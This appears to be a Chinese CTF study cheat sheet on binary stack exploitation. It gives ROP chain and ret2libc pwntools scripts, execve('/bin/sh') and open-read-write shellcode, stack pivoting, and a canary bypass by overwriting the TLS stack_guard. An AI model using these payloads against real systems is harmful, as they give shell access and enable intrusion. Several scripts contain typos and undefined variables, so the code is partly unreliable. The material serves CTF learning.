ROP ROP(Return-Oriented Programming, 返回导向编程)
通过栈溢出的漏洞,覆盖return address,从而达让直行程序反复横跳的一种技术。
静态 生成ROPchain:
ROPgadget --binary [file] --ropchain
ropper --file [file] --chain execve
ret2syscall 32位 调用约定:系统调用号 $eax
,参数:$ebx/$ecx/$edx/$esi/$edi/$ebp
,调用 int 0x80
。
调用 execve("/bin/sh", 0, 0)
:
1 2 3 4 5 6 7 8 9 10 11 ROPgadget --binary vuln --only "pop|ret" | grep eax ROPgadget --binary vuln --only "pop|ret" | grep ebx ROPgadget --binary vuln --string "/bin/sh" ROPgadget --binary vuln --only "pop|ret" | grep ecx ROPgadget --binary vuln --only "pop|ret" | grep edx ROPgadget --binary vuln --only "int"
64位 调用约定:系统调用号 $rax
,参数:$rdi/$rsi/$rdx/$rcx($r10)/$r8/$r9
,调用 syscall
。
调用 execve("/bin/sh", 0, 0)
:
1 2 3 4 5 6 7 8 9 10 11 ROPgadget --binary vuln --only "pop|ret" | grep rax ROPgadget --binary vuln --only "pop|ret" | grep rdi ROPgadget --binary vuln --string "/bin/sh" ROPgadget --binary vuln --only "pop|ret" | grep rsi ROPgadget --binary vuln --only "pop|ret" | grep rdx ROPgadget --binary vuln --only "syscall"
ret2shellcode shellcode数据库:
Shellcodes database for study cases
常用shellcode pwntools
1 2 3 context.arch = elf.arch shellcode = asm(shellcreaft.sh())
32位
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 shellcode = asm(''' push eax pop ebx push edx pop eax dec eax xor al,0x46 xor byte ptr[ebx+0x35],al #set int 0x80 xor byte ptr[ebx+0x36],al push ecx pop eax xor al, 0x41 xor al, 0x40 push ecx pop eax xor al, 0x41 xor al, 0x40 push ecx pop eax xor al, 0x41 xor al, 0x40 push ecx # set al=0xb pop eax xor al, 0x41 xor al, 0x40 push edx # set ecx=0 pop ecx push 0x68 # push /bin/sh push 0x732f2f2f push 0x6e69622f push esp pop ebx ''' )
64位
1 2 shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
shellcode限制 可见字符 Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
工具:AE64
1 2 3 4 5 6 7 8 9 10 from ae64 import AE64from pwn import *context.arch='amd64' shellcode = asm(shellcraft.sh()) enc_shellcode = AE64().encode(shellcode) print (enc_shellcode.decode('latin-1' ))
参考:MRCTF 2020 - shellcode_revenge
更多限制 函数 __ctype_b_loc()
如 if ( ((*__ctype_b_loc())][s[i]] & 0x4000) == 0 && s[i] != 10) {}
见 ctype/ctype.h
源码,作用为将输入的字符根据 ((bit) < 8 ? ((1 << (bit)) << 8) : ((1 << (bit)) >> 8))
进行处理,然后根据下面表对应的结果进行返回。
参考:2021 天翼杯 - ezshell
ret2libc libc数据库:
https://libc.blukat.me/
https://libc.rip/
https://libc.nullbyte.cat/
glibc-all-in-one
板子 查gadget:
ROPgadget --binary [file] --only "pop|ret" | grep "xxx"
ropper --file [file] --search "xxx"
给定libc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *r = remote('x.x.x.x' , 22222 ) elf = ELF('./pwn' ) libc = ELF('./libc.so' ) write_plt = elf.plt.write write_got = elf.got.write main_addr = elf.sym.main pop_rdi = 0x401233 pop_rsi = 0x401231 pl = 'a' *(0x80 +8 )+p64(pop_rdi)+p64(1 )+p64(pop_rsi)+p64(write_got)+p64(0 )+p64(write_plt)+p64(main_addr) p.sendline(pl) write_addr = u64(r.recv(6 ).ljust(8 ,'\x00' )) print (hex (write_addr))libc_base = write_addr-libc.sym.write print (hex (libc_base))system_addr = libc_base+libc.sym.system binsh_addr = libc_base+libc.search('/bin/sh' ).next () pl = 'a' *(0x80 +8 )+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr) p.sendline(pl) p.interactive()
使用LibSearcher 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *from LibcSearcher import *r = remote('x.x.x.x' , 22222 ) elf = ELF('./pwn' ) pop_rdi_ret = 0x400c83 ret = 0x4006b9 puts_plt = elf.plt.puts puts_got = elf.got.puts main_addr = elf.sym.main payload = 'a' *0x58 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr) r.sendline(payload) puts_addr = u64(r.recv(6 ).ljust(0x8 , b'\x00' )) libc = LibcSearcher('puts' , puts_addr) libc_base = puts_addr - libc.dump('puts' ) print (libcbase)sys_addr = libcbase + libc.dump('system' ) bin_sh = libcbase + libc.dump('str_bin_sh' ) payload = 'a' *0x58 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_addr) r.sendline(payload) r.interactive()
one_gadget 查找已知的libc中 exevce("/bin/sh")
语句的地址:
one_gadget libc.so
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *r = remote('x.x.x.x' , 22222 ) elf = ELF('./pwn' ) libc = ELF('./libc.so' ) pop_rdi_ret = 0x400c83 ret = 0x4006b9 puts_plt = elf.plt.puts puts_got = elf.got.puts main_addr = elf.sym.main payload = 'a' *0x58 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr) r.sendline(payload) puts_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) print (hex (puts_addr))libc_base = puts_addr - libc.sym.puts execve_addr = libc_base + 0x10a38c payload = 'a' *0x58 + p64(execve_addr) r.sendline(payload) r.interactive()
ret2csu (预留)
ret2dl_resolve (预留)
其他姿势 栈迁移 在一般的栈溢出攻击时,有一个前提条件是“有充分的栈空间用来布局”,通常我们会在栈的剩余空间上存放一些恶意指令。但是当栈的剩余空间很小时,例如只可覆盖ebp和ret,一般的栈溢出思路就无法完成攻击。
不过既然栈上没有足够的空间供我们布置,那我们可以尝试找另一块空间来进行布局,然后将栈指针esp劫持到这里就能完成攻击,这就是”栈迁移“的基本思想。
如图所示,当主调函数调用func
函数时:
执行push eip+4
将调用语句的下一条语句保存到栈上,用来在函数返回时跳转到返回地址(ret
) PC指向func
函数的地址 在执行func
函数前:
func
会先将ebp
寄存器中的值保存到栈上,用于在函数返回时还原ebp
为主调函数的栈底。函数执行完毕,返回,会执行leave
ret
这两条语句
leave
相当于mov esp,ebp
(把栈指针指向栈底,销毁栈帧)、pop ebp
(还原ebp
为主调函数的栈底)。ret
相当于pop eip
(把栈上保存的返回地址存入eip寄存器)从这里可以知道,ebp的值可以控制esp,但是leave
指令是先mov esp,ebp
后pop ebp
,看上去没有办法通过修改栈上保存的ebp
改变esp的值,不过不要忘记我们还可以控制ret
的值,如果把ret
覆盖为leave ret
的地址,我们覆盖的假ebp
就可以通过两次leave
语句到esp寄存器上,从而完成了栈迁移。
思路:
利用第一次输入泄露出ebp地址,再利用第二次输入构造一个栈,将esp劫持到我们构造的栈上,再把栈上的返回地址改为system
函数的地址,这样就模拟出了一次system("/bin/sh")
的调用。
参考:
ciscn_2019_es_2
特殊系统调用 mprotect 将内存页的权限修改为可读可写可执行。
需要注意的是指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <sys/mman.h> int mprotect (void *addr, size_t len, int prot) ;
getdents64 读取目录结构。
int getdents(unsigned int fd, struct linux_dirent *dirp,unsigned int count);
参数一:fd指针
参数二:写入的内存区域
参数三:4096
功能:把当前文件目录下的文件名写入参数二指向的内存区域
该函数是一个解析文件夹的函数,第一个参数时要解析的文件句柄,第二个参数是存放解析数据的位置,count是dirp的大小,通过这个我们就可以解析文件夹,需要注意的是当打开文件夹时open的第二个参数为0x10000,打开文件时的参数为0。
返回结构体:
1 2 3 4 5 6 7 struct linux_dirent64 { ino64_t d_ino; off64_t d_off; unsigned short d_reclen; unsigned char d_type; char d_name[]; };
orw orw 方式,即 open-read-write,通过文件操作直接获取文件内容。
查找 syscall; ret
的 gadget方法
用 opcode 功能搜
1 2 3 from pwn import *print (asm('syscall;ret' ).encode('hex' ))
ROPgadget搜索
ROPgadget --binary libc-2.31.so --opcode 0f05c3
shellcode pwntools
1 2 3 4 5 6 shellcode = '' shellcode += shellcraft.open ('./flag' ) shellcode += shellcraft.read('eax' ,'esp' ,0x100 ) shellcode += shellcraft.write(1 ,'esp' ,0x100 ) payload1 = asm(shellcode)
32位
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 shellcode = """ /*open(./flag)*/ push 0x1010101 xor dword ptr [esp], 0x1016660 push 0x6c662f2e mov eax,0x5 mov ebx,esp xor ecx,ecx int 0x80 /*read(fd,buf,0x100)*/ mov ebx,eax mov ecx,esp mov edx,0x30 mov eax,0x3 int 0x80 /*write(1,buf,0x100)*/ mov ebx,0x1 mov eax,0x4 int 0x80 """
64位
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 shellcode = asm(''' push 0x67616c66 mov rdi,rsp xor esi,esi push 2 pop rax syscall mov rdi,rax mov rsi,rsp mov edx,0x100 xor eax,eax syscall mov edi,1 mov rsi,rsp push 1 pop rax syscall ''' )
ROP open
1 2 3 4 5 6 7 8 9 10 11 payload += p64(pop_rax_ret) payload += p64(2 ) payload += p64(pop_rdi_ret) payload += p64(bss_addr) payload += p64(pop_rsi_ret) payload += p64(0 ) payload += p64(pop_rdx_r12_ret) payload += p64(0 ) payload += p64(0 ) payload += p64(syscall_ret)
read
1 2 3 4 5 6 7 8 9 payload += p64(pop_rdi_ret) payload += p64(0 ) payload += p64(pop_rsi_ret) payload += p64(bss_addr) payload += p64(pop_rdx_r12_ret) payload += p64(2 ) payload += p64(0 ) payload += p64(elf.sym['read' ])
write
1 2 3 4 5 6 7 8 9 10 11 payload += p64(pop_rax_ret) payload += p64(1 ) payload += p64(pop_rdi_ret) payload += p64(1 ) payload += p64(pop_rsi_ret) payload += p64(bss_addr + 0x200 ) payload += p64(pop_rdx_r12_ret) payload += p64(0x600 ) payload += p64(0 ) payload += p64(syscall_ret)
保护 ALSR ASLR 的是操作系统的功能选项,作用于 executable(ELF)装入内存运行时,因而只能随机化 stack、heap、libraries 的基址。
NX No-Execute(不可执行),Nx 的原理是将数据所在内存页标识为不可执行,当程序执行流被劫持到栈上时,程序会尝试在数据页面上执行指令,因为数据页被标记为不可知性,此时CPU就会抛出异常,而不是去执行栈上数据。
canary 金丝雀保护,是一种用来防护栈溢出的保护机制。其原理是在函数入口处,先从 fs/gs 寄存器中取出一个 4(eax)/8(rax) 字节的 cookie 信息存到栈上,当函数结束返回的时候会验证 cookie 信息是否合法(与开始存的是否一致),如果不合法就停止程序运行。真正的 cookie 信息也会保存在程序的某个位置。插入栈中的 cookie 一般在 ebp / rbp 之上的一个内存单元保存。
攻击
Stack smash (待补充)
TLS 线程局部存储 (TLS) 是一种存储持续期(storage duration),对象的存储是在线程开始时分配,线 程结束时回收,每个线程有该对象自己的实例。
TLS 具有 TCB 结构体。也就是说对于 TLS 的变量,每个线程都会有自己独有的一份,既然维护 canary 的 TCB 结构体是 TLS 的,就不能想到这个结构体必然会在线程自己申请的空间里面,并且在作比较时也是和自己独有的那一份比较的。TCB 结构体是是以 fs 作为基址索引的,TCB 结构体的定义:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 typedef struct { void *tcb; dtv_t *dtv; void *self; int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; unsigned long int vgetcpu_cache[2 ]; unsigned int feature_1; int __glibc_unused1; void *__private_tm[4 ]; void *__private_ss; unsigned long long int ssp_base; __128bits __glibc_unused2[8 ][4 ] __attribute__ ((aligned (32 ))); void *__padding[8 ]; } tcbhead_t ;
在 gdb 里面看 fs 附近的内存分布情况,使用 fsbase 查看 fs 的值,内存分布和结构体定义一致,所以 fs 就是指向 TCB 结构体,vmmap 一下会发现 TCB 是存在栈上的,而且显然建立的时间在 test_thread 之前,又由于可以栈溢出接近 0x1000 个字节 ,完全可以覆写 TCB 结构体 ,把 TCB 的 stack_guard 字段写成比如 p64(0),那么溢出到 canary 的时候覆写成 0 就可以 bypass canary。
PIE PIE(Position Independent Executables)是编译器(gcc,…)功能选项(-fPIE / -fpie),作用于编译过程,可将其理解为特殊的 PIC(so专用,Position Independent Code),加了 PIE 选项编译出来的 ELF 用 file 命令查看会显示其为 so,其随机化了 ELF 装载内存的基址(代码段、plt、got、data 等共同的基址)。其效果为用 objdump、IDA 反汇编之后的地址是用偏移表示的而不是绝对地址。
SROP (预留)
BROP (预留)
其他 随机数(srand+rand) glibc随机数发生器